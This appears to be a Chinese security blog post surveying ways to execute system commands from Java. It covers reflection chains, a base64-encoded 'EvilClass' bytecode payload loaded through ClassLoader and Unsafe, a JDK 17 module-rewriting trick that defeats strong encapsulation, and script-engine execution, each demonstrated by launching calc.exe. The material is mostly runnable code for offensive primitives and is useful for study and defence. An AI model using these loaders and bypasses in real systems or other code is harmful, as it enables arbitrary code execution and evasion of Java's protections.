也不说为啥审核不通过,浪费我几分钟粘贴图片

慢慢转微信公众号吧,我的微信公众号:ToBeHacker
命令注入
| 方法 | 适用场景 | 是否推荐 |
|---|---|---|
Runtime.exec() | 简单命令(已过时) | ❌ 不推荐 |
ProcessBuilder | 复杂命令(推荐) | ✅ 推荐 |
Apache Commons Exec | 需要高级控制(超时、流处理) | ⭐⭐⭐⭐ |
ScriptEngine | 执行脚本(Bash/Python) | ⭐⭐⭐ |
| JNI/JNA | 调用本地代码 | ⭐⭐ |
| GraalVM | 跨语言执行命令 | ⭐⭐⭐ |
ProcessHandle | 进程管理(Java 9+) | ⭐⭐ |
| JSch | 远程 SSH 执行 | ⭐⭐⭐⭐ |
| Docker Java API | 容器内命令执行 | ⭐⭐⭐ |
反射机制
Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)
.getClass()
.getMethod("exec", String.class)
.invoke(Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null), "calc.exe");
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, "calc.exe");
Class.forName("java.lang.ProcessBuilder")
.getConstructor(String[].class)
.newInstance((Object)cmd)
.getClass()
.getMethod("start")
.invoke(Class.forName("java.lang.ProcessBuilder")
.getConstructor(String[].class)
.newInstance((Object)new String[]{"calc.exe"}));
以上方式都是通过反射机制直接取危险类并调用,ClassLoader也是类似的,只不过是多了一道将字节码转换为类的机制。
ClassLoader
在JDK9至JDK16版本之中,Java.*依赖包下所有的非公共字段和方法在进行反射调用的时候,会出现关于非法反射访问的警告,但是在JDK17之后,采用的是强封装,默认情况下不再允许这一类的反射,所有反射访问java.*的非公共字段和方法的代码将抛出InaccessibleObjectException异常
利用ClassLoader来执行命令的具体步骤如下:
(1)构造恶意类
(2)生成字节码payload
(3)通过ClassLoader解析payload从而得到恶意类
(4)在实例化恶意类或调用恶意类方法来执行命令
构造恶意类
package org.example;
import java.io.IOException;
public class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
生成字节码payload
public class Main {
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, NoSuchFieldException, InstantiationException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("EvilClass");
cc.setSuperclass(pool.get("java.lang.Object"));
// 2. 添加静态代码块(类初始化时执行)
// CtMethod clinit = CtNewMethod.make(
CtConstructor cons = CtNewConstructor.make(
"public EvilClass() { " +
" try { " +
" Runtime.getRuntime().exec(\"calc.exe\"); " +
" } catch (Exception e) { " +
" throw new RuntimeException(e); " +
" } " +
"}",
cc
);
cc.addConstructor(cons);
// cc.setModifiers(Modifier.PUBLIC); // 设置类为public
// 3. 生成字节码
byte[] classBytes = cc.toBytecode();
String base64Payload = Base64.getEncoder().encodeToString(classBytes);
System.out.println(base64Payload);
System.out.println();
byte[] classBytes1 = Files.readAllBytes(Paths.get("C:\\code\\java\\demo_jdk8\\demo_jdk8\\target\\classes\\org\\example\\EvilClass.class"));
String base64Payload1 = Base64.getEncoder().encodeToString(classBytes1);
System.out.println(base64Payload1);
}
}
以上展示了两种方式,第一种是直接通过源码设置类,第二种是加载恶意类的class文件,最后都会生成base64格式的字节码payload
执行命令
不同版本的jdk有不同的方式
java 1.8.0_202(jdk 8u202)
(1)unsafe方式(jdk17不可行)
public class UnsafeDemo {
public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
byte[] decode = Base64.getDecoder().decode(payload);
ClassLoader classLoader=ClassLoader.getSystemClassLoader();
Field theUafeField= Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineClass("org.example.EvilClass",decode,0,decode.length,classLoader,null);
c2.newInstance();
}
}
注意defineClass时需要输入完整类名,使用第一种方式构造paylaod的改为EvilClass即可
(2)defineAnonymousClass方式(jdk17不可行)
public class UnsafeDemo {
public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
byte[] decode = Base64.getDecoder().decode(payload);
Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
c2.newInstance();
}
}
(3)Method方式
public class UnsafeDemo {
public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
byte[] decode = Base64.getDecoder().decode(payload);
Method method=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
method.setAccessible(true);
Class cc=(Class) method.invoke(new MLet(new URL[0],Main.class.getClassLoader()), decode,new Integer(0),new Integer(decode.length));
cc.newInstance();
}
}
java 17.0.10
通过修改当前类的module为java.base保持和java.lang.ClassLoader同module下,从而完成绕过:
public class ReflectDemo {
public static void main(String[] args) throws NoSuchFieldException, InstantiationException, IllegalAccessException {
String payload = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMb3JnL2V4YW1wbGUvRXZpbENsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAVb3JnL2V4YW1wbGUvRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX";
byte[] decode = Base64.getDecoder().decode(payload);
Field field= Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe=(Unsafe) field.get(null);
Module baseModule=Object.class.getModule();
Class currentClass= ReflectDemo.class;
long offset= unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
Method method=ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), decode,0, decode.length)).newInstance();
}
}
注意,使用unsafe修改Module修改的是当前ReflectDemo的Module,因此Class currentClass= ReflectDemo.class;并不是随便选个类就可以的
Runtime
Process process = Runtime.getRuntime().exec("cmd.exe /c calc");
int exitCode = process.waitFor();
System.out.println("退出码: " + exitCode);
ProcessBuilder
ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", "calc");
Process process = pb.start();
int exitCode = process.waitFor();
commandLine
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
</dependency>
CommandLine cmd = new CommandLine("cmd.exe");
cmd.addArgument("/c");
cmd.addArgument("calc");
DefaultExecutor executor = new DefaultExecutor();
int exitCode = executor.execute(cmd);
ScriptEngine(java 15以下)
无需额外引入依赖
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("var rt = Java.type('java.lang.Runtime');" +
"rt.getRuntime().exec('calc');");
GraalVME(java15及以上)
<dependency>
<groupId>org.graalvm.js</groupId>
<artifactId>js</artifactId>
<version>24.1.1</version>
</dependency>
<dependency>
<groupId>org.graalvm.js</groupId>
<artifactId>js-scriptengine</artifactId>
<version>24.1.1</version>
</dependency>
Context context = Context.newBuilder()
.allowAllAccess(true) // 允许访问所有 Java 类
.build();
context.eval("js", "const Runtime = Java.type('java.lang.Runtime');");
context.eval("js", "Runtime.getRuntime().exec('calc');");
java的一些概念
模块系统的访问限制(Java 9及以后版本)
module java.base does not "opens java.lang" to unnamed module 是 Java 9+ 模块系统(JPMS)的强封装性导致的典型错误。其核心原因是:未命名模块(Unnamed Module)尝试通过反射访问 java.base 模块中未开放的 java.lang 包
每个模块需声明其导出(exports)和开放(opens)的包:
module java.base {
exports java.lang; // 默认导出,但未开放反射
}
意味着java.base模块不允许通过反射去访问java.lang包下面的类及成员
在 Java 9 之前,反射可无限制访问包内所有类及其成员(包括 private 类型),类信息并未真正隔离。模块系统(module-info.java)通过强封装实现以下改进:
- 默认隐藏:模块内类默认对外不可见,仅显式导出的 public 类可被访问
- 精准开放:通过 exports 指定对外暴露的包,opens 指令控制反射访问范围,避免过度暴露内部实现
- 运行时限制:未开放包的反射访问会触发 IllegalAccessException,需通过 --add-opens 参数或模块声明开放权
exports 允许访问 public 成员,但无法访问 private 或 protected 成员,而opens允许反射访问所有成员,允许通过 setAccessible(true) 绕过访问控制
其他指令:
-
requires:
requires指令允许模块声明运行时或编译时需要依赖的其他模块,若未声明依赖,编译时报错module not found,运行时抛出ClassNotFoundException -
provides:允许模块声明自己实现了某个服务接口,并指定具体的实现类。其他模块可通过
ServiceLoader动态发现并加载这些实现,实现松耦合的插件化架构。 -
opens to:允许开发者精确指定哪些模块可以通过反射访问当前模块的特定包(包括私有成员),同时保持其他模块的访问限制,对于以下:
opens <package-name> to <module1>, <module2>;代表module1、module2允许通过反射直接访问
@CallerSensitive
@CallerSensitive 标记的方法会 跳过当前栈帧,直接检查调用该方法的上层代码(真正的调用者)的权限,而不是方法内部的代码权限。
主要用于:
Class.forName()(类加载)Method.invoke()(反射调用)Unsafe相关操作ClassLoader.defineClass()(动态加载类)
Unsafe 修改类模块的原理
Java对象在内存中由对象头和实例数据区组成。Unsafe通过以下步骤定位字段:
- 获取对象基地址:对象实例的起始内存地址。
- 计算字段偏移量:使用
objectFieldOffset()方法获取字段在对象实例数据区中的偏移量。 - 直接内存操作:通过基地址+偏移量定位字段内存位置,直接读写数据
而且Java的private、protected等修饰符在Unsafe中被无视,可以通过偏移量直接读写内存,无需通过Java的getter/setter方法
Unsafe提供类加载相关的底层API:
- 动态定义类:通过
defineClass()方法直接加载字节码,绕过类加载器。 - 修改类元数据:直接操作类对象的内存,改变类的结构或方法实现
参考
-
https://xz.aliyun.com/news/13485
4万+

被折叠的 条评论
为什么被折叠?



